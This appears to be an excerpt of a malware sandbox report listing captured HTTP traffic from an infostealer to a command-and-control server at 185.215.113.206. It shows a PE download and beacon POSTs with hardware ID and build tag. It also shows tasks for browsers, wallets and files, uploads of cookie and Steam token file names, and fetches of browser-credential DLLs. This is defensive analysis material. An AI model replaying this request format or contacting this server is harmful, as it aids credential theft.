61 6e 74 00 30 00 00 00 e0 4a 00 00 22 00 00 00 a8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 14:19:10 GMTContent-Type: application/octet-streamContent-Length: 1455104Last-Modified: Thu, 28 Nov 2024 13:27:45 GMTConnection: keep-aliveETag: "67486fd1-163400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 ac 5a ce 45 00 00 00 00 00 00 00 00 e0 00 2e 03 0b 01 02 26 00 da 0f 00 00 30 16 00 00 04 00 00 80 14 00 00 00 10 00 00 00 f0 0f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 16 00 00 04 00 00 37 4a 16 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 98 29 00 00 00 f0 15 00 10 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 16 00 b0 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 f6 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 a7 15 00 54 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 88 d8 0f 00 00 10 00 00 00 da 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 c4 01 00 00 00 f0 0f 00 00 02 00 00 00 de 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 28 f9 02 00 00 00 10 00 00 fa 02 00 00 e0 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d 44 83 02 00 00 00 13 00 00 84 02 00 00 da 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 80 02 00 00 00 90 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 98 29 00 00 00 a0 15 00 00 2a 00 00 00 5e 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 d0 15 00 00 02 00 00 00 88 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 15 00 00 02 00 00 00 8a 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 16 00 00 00 f0 15 00 00 18 00 00 00 8c 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b0 8e 00 00 00 10 16 00 00 90 00 00 00 a4 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 33 44 44 31 30 44 43 44 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="hwid"DE3DD10DCD3E4255830438------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="build"mars------DHJDAFIEHIEGDHIDGDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"browsers------JJJKFBAAAFHJEBFIEGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKFBFCGIEHIDGCFBFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 2d 2d 0d 0a Data Ascii: ------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="message"plugins------GCBKFBFCGIEHIDGCFBFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="message"fplugins------AKFIDHDGIEGCAKFIIJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJHost: 185.215.113.206Content-Length: 6431Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHJKFCGHIDHCBGDHJKEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 2d 2d 0d 0a Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file"------KEBGHCBAEGDHIDGCBAEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IEHJDGIDBAAFIDGCGCAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="file"------DBKKFHIEGDHJKECAAKKE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHIHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="message"wallets------JJECFIECBGDGCAAAEHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="message"files------KFIJEGCBGIDGHIDHDGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file"------KEHDBAEGIIIEBGCAAFHI--
